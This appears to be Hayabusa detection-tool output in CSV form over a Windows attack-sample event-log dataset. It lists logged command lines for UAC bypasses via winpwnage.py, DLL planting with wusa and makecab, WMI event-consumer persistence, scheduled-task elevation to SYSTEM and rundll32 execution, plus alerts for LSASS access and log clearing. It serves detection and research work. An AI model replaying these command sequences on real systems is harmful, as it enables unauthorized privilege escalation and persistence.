Escalation/sysmon_13_1_12_11_perfmonUACBypass.evtx +2019-05-10 21:22:08.465 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""c:\users\ieuser\appdata\local\temp\system32\mmc.exe"" ""c:\users\ieuser\appdata\local\temp\system32\perfmon.msc"" : Path: C:\Users\IEUser\AppData\Local\Temp\system32\mmc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\perfmon.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_12_11_perfmonUACBypass.evtx +2019-05-10 22:32:48.200 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 9 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:32:58.549 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""c:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\CompMgmtLauncher.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:33:29.424 +09:00,IEWIN7,1,informational,Process Creation,"Command: whoami /priv : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: ""c:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:33:29.424 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:33:29.424 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:33:29.424 +09:00,IEWIN7,1,high,Run Whoami Showing Privileges,,rules/sigma/process_creation/win_whoami_priv.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_13_1_compmgmtlauncherUACBypass.evtx +2019-05-10 22:49:29.586 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 11 -p c:\Users\IEUser\Desktop\hellox86.dll : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_7_uacbypass_cliconfg.evtx +2019-05-10 22:49:39.930 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32 /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 11 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_7_uacbypass_cliconfg.evtx +2019-05-10 22:49:40.164 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32 /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 11 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_7_uacbypass_cliconfg.evtx +2019-05-10 22:49:45.133 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cliconfg.exe"" : Path: C:\Windows\System32\cliconfg.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 11 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_7_uacbypass_cliconfg.evtx +2019-05-10 22:49:45.378 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cliconfg.exe"" : Path: C:\Windows\System32\cliconfg.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 11 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_11_1_7_uacbypass_cliconfg.evtx +2019-05-11 18:50:08.248 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-11 18:50:13.494 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\makecab.exe"" c:\users\ieuser\appdata\local\temp\CRYPTBASE.dll c:\users\ieuser\appdata\local\temp\suspicious.cab : Path: C:\Windows\System32\makecab.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-11 18:50:18.404 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\ehome /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-11 18:50:18.654 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\ehome /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-11 18:50:26.779 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\ehome\mcx2prov.exe"" : Path: C:\Windows\ehome\Mcx2Prov.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-11 18:50:27.018 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\ehome\mcx2prov.exe"" : Path: C:\Windows\ehome\Mcx2Prov.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 12 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_mcx2prov_uacbypass.evtx +2019-05-12 01:46:10.125 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 13 -p c:\Users\IEUser\Desktop\hellox86.dll : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_migwiz.evtx +2019-05-12 01:46:15.500 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\makecab.exe"" c:\users\ieuser\appdata\local\temp\CRYPTBASE.dll c:\users\ieuser\appdata\local\temp\suspicious.cab : Path: C:\Windows\System32\makecab.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 13 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_migwiz.evtx +2019-05-12 01:46:20.531 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32\migwiz /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 13 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_migwiz.evtx +2019-05-12 01:46:20.828 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32\migwiz /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 13 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_migwiz.evtx +2019-05-12 01:54:02.071 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 14 -p c:\Users\IEUser\Desktop\hellox86.dll : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_sysprep_uacbypass.evtx +2019-05-12 01:54:07.508 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\makecab.exe"" c:\users\ieuser\appdata\local\temp\CRYPTBASE.dll c:\users\ieuser\appdata\local\temp\suspicious.cab : Path: C:\Windows\System32\makecab.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 14 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_sysprep_uacbypass.evtx +2019-05-12 01:54:12.493 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32\sysprep /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 14 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_sysprep_uacbypass.evtx +2019-05-12 01:54:12.821 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wusa.exe"" c:\users\ieuser\appdata\local\temp\suspicious.cab /extract:C:\Windows\system32\sysprep /quiet : Path: C:\Windows\System32\wusa.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 14 -p c:\Users\IEUser\Desktop\hellox86.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_11_sysprep_uacbypass.evtx +2019-05-12 02:10:06.342 +09:00,IEWIN7,1102,high,Security log was cleared,User: IEUser,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/security_4624_4673_token_manip.evtx +2019-05-12 02:10:10.889 +09:00,IEWIN7,4624,informational,Logon Type 9 - NewCredentials,User: IEUser : Workstation: : IP Address: ::1 : Port: 0 : LogonID: 0x1bbdce : (Warning: Credentials are stored in memory),rules/hayabusa/default/events/Security/Logons/4624_LogonType-9-NewInteractive.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/security_4624_4673_token_manip.evtx +2019-05-12 02:10:10.889 +09:00,IEWIN7,4624,medium,Pass the Hash Activity 2,,rules/sigma/builtin/security/win_pass_the_hash_2.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/security_4624_4673_token_manip.evtx +2019-05-12 02:10:10.889 +09:00,IEWIN7,4624,high,Successful Overpass the Hash Attempt,,rules/sigma/builtin/security/win_overpass_the_hash.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/security_4624_4673_token_manip.evtx +2019-05-12 02:28:17.176 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u uac -i 17 -p c:\windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:28:19.567 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmstp.exe"" /au c:\users\ieuser\appdata\local\temp\tmp.ini : Path: C:\Windows\System32\cmstp.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u uac -i 17 -p c:\windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:28:19.567 +09:00,IEWIN7,1,high,Bypass UAC via CMSTP,,rules/sigma/process_creation/win_uac_cmstp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:28:22.598 +09:00,IEWIN7,1,informational,Process Creation,Command: c:\windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7},rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:28:22.598 +09:00,IEWIN7,13,high,CMSTP Execution Registry Event,,rules/sigma/registry_event/sysmon_cmstp_execution_by_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:28:22.598 +09:00,IEWIN7,1,high,CMSTP UAC Bypass via COM Object Access,,rules/sigma/process_creation/win_cmstp_com_object_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_13_11_cmstp_ini_uacbypass.evtx +2019-05-12 02:57:49.903 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u elevate -5 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:22.809 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:23.215 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH CommandLineEventConsumer CREATE Name=""BotConsumer23"", ExecutablePath=""c:\Windows\System32\cmd.exe"", CommandLineTemplate=""c:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:23.450 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH __FilterToConsumerBinding CREATE Filter='__EventFilter.Name=""BotFilter82""', Consumer='CommandLineEventConsumer.Name=""BotConsumer23""' : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:23.590 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH __EventFilter CREATE Name=""BotFilter82"", EventNameSpace=""root\cimv2"", QueryLanguage=""WQL"", Query=""SELECT * FROM __InstanceModificationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"" : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:50.090 +09:00,IEWIN7,1,informational,Process Creation,Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\wbem\wmiprvse.exe -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:54.762 +09:00,IEWIN7,10,high,Suspicious GrantedAccess Flags on LSASS Access,,rules/sigma/process_access/win_susp_proc_access_lsass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:54.762 +09:00,IEWIN7,10,high,Credentials Dumping Tools Accessing LSASS Memory,,rules/sigma/process_access/sysmon_cred_dump_lsass_access.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:54.887 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH CommandLineEventConsumer WHERE Name=""BotConsumer23"" DELETE : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:55.028 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH __EventFilter WHERE Name=""BotFilter82"" DELETE : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 02:58:55.153 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\wbem\WMIC.exe"" /namespace:""\\root\subscription"" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=""BotFilter82""' DELETE : Path: C:\Windows\System32\wbem\WMIC.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 5 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_20_21_1_CommandLineEventConsumer.evtx +2019-05-12 03:10:42.434 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u elevate -i 1 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_from_admin_to_system_handle_inheritance.evtx +2019-05-12 03:10:42.668 +09:00,IEWIN7,1,informational,Process Creation,Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\lsass.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_from_admin_to_system_handle_inheritance.evtx +2019-05-12 03:10:42.668 +09:00,IEWIN7,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_privesc_from_admin_to_system_handle_inheritance.evtx +2019-05-12 09:32:24.461 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u elevate -i 4 -p c:\Windows\System32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:30.211 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\schtasks.exe"" /create /xml c:\users\ieuser\appdata\local\temp\elevator.xml /tn elevator : Path: C:\Windows\System32\schtasks.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 4 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:30.211 +09:00,IEWIN7,1,low,Scheduled Task Creation,,rules/sigma/process_creation/win_susp_schtask_creation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:30.211 +09:00,IEWIN7,1,high,Suspicius Add Task From User AppData Temp,,rules/sigma/process_creation/win_pc_susp_schtasks_user_temp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:35.258 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\schtasks.exe"" /run /tn elevator : Path: C:\Windows\System32\schtasks.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 4 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:35.352 +09:00,IEWIN7,1,informational,Process Creation,Command: c:\Windows\System32\cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: taskeng.exe {9C7BC894-6658-423B-9B58-61636DBB1451} S-1-5-18:NT AUTHORITY\System:Service:,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 09:32:40.342 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\schtasks.exe"" /delete /tn elevator : Path: C:\Windows\System32\schtasks.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u elevate -i 4 -p c:\Windows\System32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_11_exec_as_system_via_schedtask.evtx +2019-05-12 22:30:32.931 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u execute -i 9 -p c:\Windows\system32\cmd.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:30:46.400 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" ieframe.dll,OpenURL c:\users\ieuser\appdata\local\temp\ieframe.url : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u execute -i 9 -p c:\Windows\system32\cmd.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:30:46.400 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:30:46.556 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\rundll32.exe"" ieframe.dll,OpenURL c:\users\ieuser\appdata\local\temp\ieframe.url",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:32:58.167 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe url.dll,OpenURL file://C:/Windows/system32/calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:32:58.167 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:33:37.078 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe url.dll,FileProtocolHandler calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" 